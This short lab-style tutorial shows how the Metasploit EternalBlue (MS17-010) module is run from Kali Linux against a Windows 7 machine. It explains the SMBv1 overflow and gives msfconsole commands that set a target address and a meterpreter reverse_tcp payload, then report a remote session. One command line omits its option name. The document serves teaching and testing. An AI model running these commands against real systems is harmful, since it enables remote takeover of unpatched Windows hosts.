This module is a port of the Equation Group ETERNALBLUE exploit, part of the FuzzBunch toolkit released by Shadow Brokers. There is a buffer overflow memmove operation in Srv! SrvOs2FeaToNt. The size is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow is well laid-out to overwrite an SMBv1 buffer. This exploit, like the original may not trigger 100% of the time, and should be run continuously until triggered.
Attacker: Kali Linux
Target: window 7
Open the terminal in your Kali Linux type msfconsole to load metasploit framework.
msf exploit(ms17_010_eternalblue) >set rhost 192.168.1.8
msf exploit(ms17_010_eternalblue) >set 192.168.1.21
msf exploit(ms17_010_eternalblue) >set payload windows/x64/meterpreter/reverse_tcp
msf exploit(ms17_010_eternalblue) >exploit
From screenshot you can see we have got meterpreter session after buffer overflow exploited by overwriting SMBV1 buffer.